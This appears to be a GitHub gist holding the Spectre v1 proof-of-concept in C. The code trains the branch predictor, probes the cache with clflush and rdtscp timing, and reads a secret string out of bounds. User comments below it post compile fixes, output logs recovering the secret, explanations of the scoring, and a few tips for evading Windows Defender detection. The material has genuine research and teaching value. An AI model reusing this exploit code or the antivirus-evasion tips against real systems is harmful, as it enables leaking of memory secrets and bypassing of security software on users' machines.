Skip to content

Instantly share code, notes, and snippets.

@ErikAugust
Last active February 29, 2024 09:33
Star You must be signed in to star a gist
Save ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6 to your computer and use it in GitHub Desktop.
Spectre example code
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
1,
2,
3,
4,
5,
6,
7,
8,
9,
10,
11,
12,
13,
14,
15,
16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];
char * secret = "The Magic Words are Squeamish Ossifrage.";
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}
/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD(80) /* assume cache hit if time <= threshold */
/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush( & array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
time1 = __rdtscp( & junk); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}
int main(int argc,
const char * * argv) {
size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
int i, score[2], len = 40;
uint8_t value[2];
for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == 3) {
sscanf(argv[1], "%p", (void * * )( & malicious_x));
malicious_x -= (size_t) array1; /* Convert input value into a pointer */
sscanf(argv[2], "%d", & len);
}
printf("Reading %d bytes:\n", len);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
printf("0x%02X=’%c’ score=%d ", value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
printf("\n");
}
return (0);
}
@aoprea1982
Copy link

Kali GNU/Linux Rolling (VM)
Intel(R) Core(TM) i7-4910MQ CPU @ 2.90GHz
gcc -std=c11 -o spectre spectre.c
+++++++++++++++++++++++++++++++
A steady score of 2.
Questions => What is the meaning of "score"?
=> Why the score difference between i7 and Xeon?

spectre2

@spartanthe
Copy link

@apps4u:

Description: macOS High Sierra 10.13.2 Supplemental Update includes security improvements to Safari and WebKit to mitigate the effects of Spectre (CVE-2017-5753 and CVE-2017-5715).

They rolled out updates for the browser, not native apps.

@unzueta
Copy link

unzueta commented Jan 11, 2018

Works in Windows Build 17063 prerelease With i5-7400 CPU. It is detected by Windows defender, however.
Compiled with Microsoft C/C++ Compiler
image
image

@mikorist
Copy link

This is completely crazy.
Works also through Wine Emulator.
wine

@alexs77
Copy link

alexs77 commented Jan 11, 2018

Doesn't compile here on Ubuntu 16.04 with gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.5).

14:31:38 [ask@ewzw071:~/tmp/müll]↥ 1 % gcc -march=athlon64 -std=c99 -O0 spectre.c -o spectre
spectre.c: In function ‘readMemoryByte’:
spectre.c:89:15: error: too few arguments to function ‘__rdtscp’
       time1 = __rdtscp(); /* READ TIMER */
               ^
In file included from /usr/lib/gcc/x86_64-linux-gnu/5/include/x86intrin.h:27:0,
                 from spectre.c:8:
/usr/lib/gcc/x86_64-linux-gnu/5/include/ia32intrin.h:112:1: note: declared here
 __rdtscp (unsigned int *__A)
 ^
spectre.c:91:15: error: too few arguments to function ‘__rdtscp’
       time2 = __rdtscp() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
               ^
In file included from /usr/lib/gcc/x86_64-linux-gnu/5/include/x86intrin.h:27:0,
                 from spectre.c:8:
/usr/lib/gcc/x86_64-linux-gnu/5/include/ia32intrin.h:112:1: note: declared here
 __rdtscp (unsigned int *__A)
 ^
spectre.c: In function ‘main’:
spectre.c:136:51: warning: pointer/integer type mismatch in conditional expression
       (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
                                                   ^
spectre.c:135:12: warning: format ‘%c’ expects argument of type ‘int’, but argument 3 has type ‘char *’ [-Wformat=]
     printf("0x%02X=’%c’ score=%d ", value[0],
            ^

@MarkJurich
Copy link

MarkJurich commented Jan 11, 2018

@alexs77:

It looks like the rdtscp function requires at least one argument. The original source used "&junk" as the argument. I think if you put that back in everywhere, those errors will go away. Under Win7x64/MSVS2010, I had to define junk as an unsigned int instead of int. See my previous post for other fix-ups that might lead to a clean compilation:

https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6#gistcomment-2316763

@MarkJurich
Copy link

@unzueta: Thanks for the info about Windows Defender/AV blocking it. It looks like we'll have to get a bit fancier, allowing us to continue testing with it, since MS is already kicking in Signature Detection.

@freakynit
Copy link

freakynit commented Jan 11, 2018

I was able to recover completely 💯

  • Reading 40 bytes:
    Reading at malicious_x = 0xfffffffffffffeb6... Success: 0x54=’T’ score=2
    Reading at malicious_x = 0xfffffffffffffeb7... Success: 0x68=’h’ score=15 (second best: 0x02 score=5)
    Reading at malicious_x = 0xfffffffffffffeb8... Success: 0x65=’e’ score=23 (second best: 0x02 score=9)
    Reading at malicious_x = 0xfffffffffffffeb9... Success: 0x02=’?’ score=23 (second best: 0x01 score=9)
    Reading at malicious_x = 0xfffffffffffffeba... Success: 0x4D=’M’ score=315 (second best: 0x02 score=155)
    Reading at malicious_x = 0xfffffffffffffebb... Success: 0x61=’a’ score=2
    Reading at malicious_x = 0xfffffffffffffebc... Success: 0x67=’g’ score=13 (second best: 0x02 score=4)
    Reading at malicious_x = 0xfffffffffffffebd... Success: 0x69=’i’ score=11 (second best: 0x02 score=3)
    Reading at malicious_x = 0xfffffffffffffebe... Success: 0x63=’c’ score=23 (second best: 0x02 score=9)
    Reading at malicious_x = 0xfffffffffffffebf... Unclear: 0x20=’ ’ score=529 (second best: 0x02 score=491)
    Reading at malicious_x = 0xfffffffffffffec0... Success: 0x57=’W’ score=7 (second best: 0x02 score=1)
    Reading at malicious_x = 0xfffffffffffffec1... Success: 0x6F=’o’ score=7 (second best: 0x02 score=1)
    Reading at malicious_x = 0xfffffffffffffec2... Unclear: 0x72=’r’ score=986 (second best: 0x02 score=663)
    Reading at malicious_x = 0xfffffffffffffec3... Success: 0x64=’d’ score=2
    Reading at malicious_x = 0xfffffffffffffec4... Success: 0x73=’s’ score=71 (second best: 0x02 score=33)
    Reading at malicious_x = 0xfffffffffffffec5... Unclear: 0x20=’ ’ score=871 (second best: 0x02 score=726)
    Reading at malicious_x = 0xfffffffffffffec6... Unclear: 0x61=’a’ score=966 (second best: 0x02 score=596)
    Reading at malicious_x = 0xfffffffffffffec7... Unclear: 0x72=’r’ score=985 (second best: 0x02 score=596)
    Reading at malicious_x = 0xfffffffffffffec8... Unclear: 0x65=’e’ score=982 (second best: 0x02 score=752)
    Reading at malicious_x = 0xfffffffffffffec9... Unclear: 0x20=’ ’ score=888 (second best: 0x02 score=677)
    Reading at malicious_x = 0xfffffffffffffeca... Success: 0x53=’S’ score=7 (second best: 0x02 score=1)
    Reading at malicious_x = 0xfffffffffffffecb... Success: 0x71=’q’ score=357 (second best: 0x02 score=176)
    Reading at malicious_x = 0xfffffffffffffecc... Success: 0x75=’u’ score=2
    Reading at malicious_x = 0xfffffffffffffecd... Success: 0x65=’e’ score=2
    Reading at malicious_x = 0xfffffffffffffece... Success: 0x61=’a’ score=7 (second best: 0x02 score=1)
    Reading at malicious_x = 0xfffffffffffffecf... Success: 0x6D=’m’ score=281 (second best: 0x02 score=138)
    Reading at malicious_x = 0xfffffffffffffed0... Success: 0x69=’i’ score=9 (second best: 0x02 score=2)
    Reading at malicious_x = 0xfffffffffffffed1... Success: 0x73=’s’ score=2
    Reading at malicious_x = 0xfffffffffffffed2... Success: 0x68=’h’ score=2
    Reading at malicious_x = 0xfffffffffffffed3... Success: 0x20=’ ’ score=11 (second best: 0x01 score=3)
    Reading at malicious_x = 0xfffffffffffffed4... Success: 0x4F=’O’ score=11 (second best: 0x01 score=3)
    Reading at malicious_x = 0xfffffffffffffed5... Success: 0x73=’s’ score=9 (second best: 0x02 score=2)
    Reading at malicious_x = 0xfffffffffffffed6... Success: 0x73=’s’ score=11 (second best: 0x02 score=3)
    Reading at malicious_x = 0xfffffffffffffed7... Success: 0x69=’i’ score=13 (second best: 0x01 score=4)
    Reading at malicious_x = 0xfffffffffffffed8... Success: 0x66=’f’ score=11 (second best: 0x01 score=3)
    Reading at malicious_x = 0xfffffffffffffed9... Success: 0x72=’r’ score=9 (second best: 0x02 score=2)
    Reading at malicious_x = 0xfffffffffffffeda... Success: 0x61=’a’ score=11 (second best: 0x01 score=3)
    Reading at malicious_x = 0xfffffffffffffedb... Success: 0x67=’g’ score=9 (second best: 0x01 score=2)
    Reading at malicious_x = 0xfffffffffffffedc... Success: 0x65=’e’ score=23 (second best: 0x01 score=9)
    Reading at malicious_x = 0xfffffffffffffedd... Success: 0x2E=’.’ score=2

@adrb
Copy link

adrb commented Jan 11, 2018

Architecture independent version, tested on ARM Allwinner H3 (not vulnerable) and Intel i7 (vulnerable):

https://github.com/adrb/public/tree/master/linux/spectre_multiarch

@kuleszdl
Copy link

@ewheelerinc thanks for the update. As expected, it works inside VMs as well. If you got a patched KVM-Host (e.g. CentOS7) and a non-patched VM (e.g. Debian stable), could you please test if it's still exploitable in the VM? (I expect it is...)

@kuleszdl
Copy link

@adrb: The Allwinner H3 uses cortex A7 cores, but it's good to confirm ARM's report about A7 not being affected.

@michael-brade
Copy link

@kingsumos very nice find indeed! thank you!
It is just a little surprising... an i7-6700HQ, linux v4.9.74, no grsec, is supposedly not affected, but I don't believe that. I'll watch the repo and wait for improvements.

@adrb
Copy link

adrb commented Jan 11, 2018

@kuleszdl, well yes, I just had it at hand to test ;) But, as I mention, with that mod, you can test all kinds of architectures supported by Linux.

@carlosdmz
Copy link

Had to tweak a little bit.

1 - #define CACHE_HIT_THRESHOLD (80) - Add a space between the "namespace" (whatever you wanna call it) and the argument.
2 - printf("0x%02X=’%c’ score=%d ", value[0],(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]); - Correct the formatting and instead of "?", replace by '?'.

PS: I'm not a low-level kind of guy, bear with me.

Got the expected output, which is kind of worrying, but no point to worry about it anyways. We're fucked.

@rhalff
Copy link

rhalff commented Jan 14, 2018

Strange, works for me although I have the intel-microcode patch already installed on ubuntu: https://usn.ubuntu.com/usn/usn-3531-1/

@hazg
Copy link

hazg commented Jan 18, 2018

Intel(R) Core(TM) i3 CPU 540 @ 3.07GHz

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdffb08... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdffb09... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdffb0a... Success: 0x65=’e’ score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdffb0b... Success: 0x20=’ ’ score=7 (second best: 0x87 score=1)
...

AMD A8-4500M APU with Radeon(tm) HD Graphics

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfebb8... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfebb9... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfebba... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfebbb... Success: 0xFF=’�’ score=0
...

@HenkPoley
Copy link

@rhalff The microcode does not fix within process Spectre exploitation. It only adds instructions for the OS to reset the branch predictor when switching between processes. Full mitigation of within process Spectre would require disabling branch prediction all together. Leading to Intel Atom <2013 speeds, at approximately 1/6th of the performance you have now.

@spartanthe
Copy link

@HenkPoley The example is about in-process exploits. Browsers will fix it. I am not sure if virtual machines can be exploited this way. Somehow.

@Blastgraphic
Copy link

There is an error in code:
#define CACHE_HIT_THRESHOLD(80) should be #define CACHE_HIT_THRESHOLD 80.

@xCuri0
Copy link

xCuri0 commented Feb 7, 2018

After changing #define CACHE_HIT_THRESHOLD(80) to #define CACHE_HIT_THRESHOLD (100) it worked on AMD A8-4500M running Ubuntu 16.04

@nhsloyola
Copy link

Could someone explain what this part of code is doing?

/* Time reads. Order is lightly mixed up to prevent stride prediction /
for (i = 0; i < 256; i++)
{
mix_i = ((i * 167) + 13) & 255;
addr = &array2[mix_i * 512];
time1 = __rdtscp(&junk); /
READ TIMER */
junk = addr; / MEMORY ACCESS TO TIME /
time2 = __rdtscp(&junk) - time1; /
READ TIMER & COMPUTE ELAPSED TIME /
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /
cache hit - add +1 to score for this value */
}

@TechnoDon
Copy link

Added:
#include <conio.h>
#include <ctype.h>

printf("Press Any Key to Continue\n");
_getch();
return 0;
}

End:
// waits for a keypress before quitting when compiled as windows executable .exe

@TechnoDon
Copy link

TechnoDon commented Aug 4, 2018

i found something, if you hex edit the first byte from 4D to 00 windows defender completely ignores spectre.exe :o

@saikumarmungi
Copy link

Is this code supposed to work on Ubuntu 18.04 (patched)?
It's working on mine!! Scary!

@dschlais93
Copy link

dschlais93 commented Sep 14, 2020

This code is very nice -- cleaver ways to switch between malicious and training x values, make parameterized and still work, etc.

Question: Can someone please explain why it's required to make array2 so large? I understand the 256 value needed for each possible ASCII code in the reload section of the code, and at least 64 times that value needed for 64B cache line size. However, I noticed changing array2[256 * 512] to something like array2[256 * 64] does not work. I cannot think of an architectural or microarchitectural reason for why this might be. In gem5 simulation, if you have larger L2s, it appears an even larger array2 size is needed. However, my understanding is the clflush instruction should remove the line from the entire cache heirarchy. It almost seems like array2 must be larger than L2 size, which doesn't make sense to me since it should be evicted each attack iteration...

@dschlais93
Copy link

dschlais93 commented Sep 14, 2020

Kali GNU/Linux Rolling (VM)
Intel(R) Core(TM) i7-4910MQ CPU @ 2.90GHz
gcc -std=c11 -o spectre spectre.c
+++++++++++++++++++++++++++++++
A steady score of 2.
Questions => What is the meaning of "score"?
=> Why the score difference between i7 and Xeon?

spectre2

Score represents how many cache hits of that value were detected. Cache hits shows likelihood that it was part of the secret charter attempting to be read. If out of all 256 ASCII values, that value is the only one to hit for 2 consecutive iterations, the code marks that as a successful read, which is why you're getting scores of 2 (high confidence). If other values also have cache hits, then it attempts to run the attack more until the value has at least (twice+5) more hits than any other value (ie, a score of 9 is required if some other value hit 2 times -- (2*2+5))

If you have the same binary, it's checking for the same timing differences to determine cache hits from misses. i7 and Xeon can have different scores due to microarchitectural differences of cache delays, prefetchers, branch predictors, etc. . The timing of cache hits and misses are processor dependent, and may need adjustments to the CACHE_HIT_THRESHOLD value. Also, if features such as SMT/HyperThreading are enabled on one, this can also impact the timing as the process runs.

@RomanSelischev
Copy link

RomanSelischev commented Jan 19, 2022

Ryzen 7 5800hs win 10 21H2

does not work, disabled the patch in windows 10 disabled all optimizations and checks in VS 2022, tried all possible CACHE_HIT_THRESHOLD (20, 40, 60, 80, 100, 120, 300, 800). What should I do to make the program work?

image
image

@pattty847
Copy link

Hey, they're using your code on computerphile! :D
https://www.youtube.com/watch?v=I5mRwzVvFGE

@dnffabs
Copy link

dnffabs commented Feb 29, 2024

Why are the victim code and the attacker code in the same process in spectrev1?
I don't know enough about the spectre attack, I hope someone can help me with this question
Why does the spectrev1 Poc show that the victim code and the attacker code are in the same process? Shouldn't the reality be that the attacker is attacking the victim across processes

@adrb
Copy link

adrb commented Feb 29, 2024

@dnffabs Because it is what it is - proof of concept, not the actual attack

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment